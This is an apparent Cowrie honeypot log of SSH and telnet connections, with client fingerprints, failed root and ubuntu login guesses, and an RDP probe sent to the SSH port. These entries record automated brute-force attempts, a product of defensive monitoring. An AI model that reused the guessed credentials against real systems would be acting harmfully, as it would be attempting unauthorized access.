{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:28.110479Z","src_ip":"43.163.121.249","session":"8f7010a57dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danion1994","message":"login attempt [root/danion1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:29.094924Z","src_ip":"43.163.121.249","session":"8f7010a57dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4b04e4b80d","protocol":"telnet","message":"New connection: 192.119.13.58:58082 (10.17.0.5:23) [session: 9e4b04e4b80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:30.036995Z"}
{"eventid":"cowrie.session.closed","duration":36.23070502281189,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:30.184242Z","src_ip":"192.119.13.58","session":"07906c1db485","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:30.338023Z","src_ip":"43.163.121.249","session":"8f7010a57dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35536,"dst_ip":"10.17.0.5","dst_port":23,"session":"df93e7de8e63","protocol":"telnet","message":"New connection: 192.119.13.58:35536 (10.17.0.5:23) [session: df93e7de8e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:31.509382Z"}
{"eventid":"cowrie.session.closed","duration":48.29482984542847,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:31.588788Z","src_ip":"192.119.13.58","session":"b37ccf5d8dc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.217116594314575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:32.152032Z","src_ip":"192.119.13.58","session":"7e74e76be33e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.65648627281189,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:32.324935Z","src_ip":"192.119.13.58","session":"7568e102877d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42894,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cce489a4cb1","protocol":"telnet","message":"New connection: 192.119.13.58:42894 (10.17.0.5:23) [session: 9cce489a4cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:33.422771Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52688,"dst_ip":"10.17.0.5","dst_port":23,"session":"084d240e0aff","protocol":"telnet","message":"New connection: 192.119.13.58:52688 (10.17.0.5:23) [session: 084d240e0aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:35.987360Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41784,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd111ba6f8e0","protocol":"telnet","message":"New connection: 192.119.13.58:41784 (10.17.0.5:23) [session: bd111ba6f8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:40.391634Z"}
{"eventid":"cowrie.session.closed","duration":33.12959837913513,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:40.539578Z","src_ip":"192.119.13.58","session":"52d6250103fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42886,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a5193b61d9","protocol":"telnet","message":"New connection: 192.119.13.58:42886 (10.17.0.5:23) [session: 96a5193b61d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:40.683943Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44756,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec145903549","protocol":"telnet","message":"New connection: 192.119.13.58:44756 (10.17.0.5:23) [session: eec145903549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:41.172582Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50188,"dst_ip":"10.17.0.5","dst_port":23,"session":"09c8cd2fb216","protocol":"telnet","message":"New connection: 192.119.13.58:50188 (10.17.0.5:23) [session: 09c8cd2fb216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:42.425865Z"}
{"eventid":"cowrie.session.closed","duration":44.47558069229126,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:44.751458Z","src_ip":"192.119.13.58","session":"b19c7ba1463d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45096,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a2e6dfa1562","protocol":"telnet","message":"New connection: 192.119.13.58:45096 (10.17.0.5:23) [session: 6a2e6dfa1562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:48.197245Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45126,"dst_ip":"10.17.0.5","dst_port":23,"session":"162756a0e303","protocol":"telnet","message":"New connection: 192.119.13.58:45126 (10.17.0.5:23) [session: 162756a0e303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:48.206873Z"}
{"eventid":"cowrie.session.closed","duration":52.120450258255005,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:48.777547Z","src_ip":"192.119.13.58","session":"87ba78f26e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.29793429374695,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:49.000629Z","src_ip":"192.119.13.58","session":"6be98fa680e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":56962,"dst_ip":"10.17.0.5","dst_port":22,"session":"3337b8a25fb1","protocol":"ssh","message":"New connection: 80.94.92.168:56962 (10.17.0.5:22) [session: 3337b8a25fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:51.655171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:51.964010Z","src_ip":"80.94.92.168","session":"3337b8a25fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:51.968115Z","src_ip":"80.94.92.168","session":"3337b8a25fb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:52.804668Z","src_ip":"80.94.92.168","session":"3337b8a25fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:54.155004Z","src_ip":"80.94.92.168","session":"3337b8a25fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48212,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0dbaece5660","protocol":"telnet","message":"New connection: 192.119.13.58:48212 (10.17.0.5:23) [session: b0dbaece5660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:55.926390Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53676,"dst_ip":"10.17.0.5","dst_port":23,"session":"b01f178af9c8","protocol":"telnet","message":"New connection: 192.119.13.58:53676 (10.17.0.5:23) [session: b01f178af9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:57.306425Z"}
{"eventid":"cowrie.session.closed","duration":38.7916522026062,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:58.761993Z","src_ip":"192.119.13.58","session":"b2abf7be8482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32818,"dst_ip":"10.17.0.5","dst_port":23,"session":"03957f74a319","protocol":"telnet","message":"New connection: 192.119.13.58:32818 (10.17.0.5:23) [session: 03957f74a319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:52:59.012555Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":54454,"dst_ip":"159.203.135.109","dst_port":22,"session":"da21386a7ff8","protocol":"ssh","message":"New connection: 165.154.5.249:54454 (159.203.135.109:22) [session: da21386a7ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:00.921335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:00.926706Z","src_ip":"165.154.5.249","session":"da21386a7ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:01.150092Z","src_ip":"165.154.5.249","session":"da21386a7ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40418,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdc8f06dcf68","protocol":"telnet","message":"New connection: 192.119.13.58:40418 (10.17.0.5:23) [session: fdc8f06dcf68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:01.938152Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"2021","message":"login attempt [root/2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:02.066203Z","src_ip":"165.154.5.249","session":"da21386a7ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:03.291783Z","src_ip":"165.154.5.249","session":"da21386a7ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.710644960403442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:04.133299Z","src_ip":"192.119.13.58","session":"9cce489a4cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57100,"dst_ip":"10.17.0.5","dst_port":23,"session":"f376935176f7","protocol":"telnet","message":"New connection: 192.119.13.58:57100 (10.17.0.5:23) [session: f376935176f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:05.063906Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53826,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ce78df80d85","protocol":"ssh","message":"New connection: 193.32.162.145:53826 (10.17.0.5:22) [session: 7ce78df80d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:05.236726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:05.242634Z","src_ip":"193.32.162.145","session":"7ce78df80d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:05.348568Z","src_ip":"193.32.162.145","session":"7ce78df80d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol123","message":"login attempt [ubuntu/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:05.668678Z","src_ip":"193.32.162.145","session":"7ce78df80d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60928,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4fcb9d8f03","protocol":"telnet","message":"New connection: 192.119.13.58:60928 (10.17.0.5:23) [session: 0a4fcb9d8f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:06.071476Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:06.773002Z","src_ip":"193.32.162.145","session":"7ce78df80d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.310207843780518,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:10.381588Z","src_ip":"192.119.13.58","session":"0a4fcb9d8f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.383049726486206,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:11.370276Z","src_ip":"192.119.13.58","session":"084d240e0aff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.09068989753723,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:11.599979Z","src_ip":"192.119.13.58","session":"df93e7de8e63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.45002293586731,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:12.486899Z","src_ip":"192.119.13.58","session":"9e4b04e4b80d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45612,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a18aaa8165","protocol":"telnet","message":"New connection: 192.119.13.58:45612 (10.17.0.5:23) [session: b1a18aaa8165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:16.200617Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47802,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9c17a615bcf","protocol":"telnet","message":"New connection: 192.119.13.58:47802 (10.17.0.5:23) [session: e9c17a615bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:16.769174Z"}
{"eventid":"cowrie.session.closed","duration":34.65731930732727,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:17.082925Z","src_ip":"192.119.13.58","session":"09c8cd2fb216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60452342033386,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:18.776974Z","src_ip":"192.119.13.58","session":"eec145903549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57880,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce91270762a","protocol":"telnet","message":"New connection: 192.119.13.58:57880 (10.17.0.5:23) [session: 6ce91270762a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:19.083322Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64283,"dst_ip":"10.17.0.5","dst_port":22,"session":"852c27c46ac7","protocol":"ssh","message":"New connection: 152.42.212.128:64283 (10.17.0.5:22) [session: 852c27c46ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:20.503390Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:20.507947Z","src_ip":"152.42.212.128","session":"852c27c46ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:20.511755Z","src_ip":"152.42.212.128","session":"852c27c46ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.39184260368347,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:22.588929Z","src_ip":"192.119.13.58","session":"6a2e6dfa1562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.73480200767517,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:24.418635Z","src_ip":"192.119.13.58","session":"96a5193b61d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56272,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a9e82534f3","protocol":"telnet","message":"New connection: 192.119.13.58:56272 (10.17.0.5:23) [session: f6a9e82534f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:25.212633Z"}
{"eventid":"cowrie.session.closed","duration":39.53696966171265,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:27.743753Z","src_ip":"192.119.13.58","session":"162756a0e303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.92145919799805,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:31.312988Z","src_ip":"192.119.13.58","session":"bd111ba6f8e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":41810,"dst_ip":"159.203.135.109","dst_port":22,"session":"4528598f74d9","protocol":"ssh","message":"New connection: 43.134.100.175:41810 (159.203.135.109:22) [session: 4528598f74d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:31.386280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:31.391244Z","src_ip":"43.134.100.175","session":"4528598f74d9","protocol":"ssh"}
